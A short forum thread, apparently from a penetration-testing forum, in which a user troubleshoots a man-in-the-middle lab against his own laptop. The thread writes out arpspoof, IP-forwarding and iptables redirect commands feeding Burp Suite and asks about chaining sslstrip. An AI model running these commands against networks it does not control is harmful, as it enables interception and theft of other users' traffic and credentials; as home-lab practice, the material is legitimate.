Http redirect to proxy

Hello,
I have a similar issue here.
my network consists of :
Labtop with windows 7 ip:192.168.1.2
BT4 on VMWARE with bridged networking ip:192.168.1.4
ADSL MODEM (Gate way) ip:192.168.1.1

I am trying to carry out interactive mitm using burp suite as http proxy from BT4 on vmware and the victim is my labtop using windows 7

I have configured burp suite proxy on port 9999

I used the following commands :

Code:

---

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 9999

---

the last command was intended to redirect traffic through burp suite proxy
but unfortunately burp suite is not receiving any thing

any ideas ?

Thanks in advance.

Thank You.

Problem solved

There was a previous entry in prerouting chain that redirects the same traffic to sslstrip , Flushed it and now it works
, Here arises another problem

I want the traffic to pass through sslstrip then through brup proxy.

Any ideas ?

Thanks in advance.
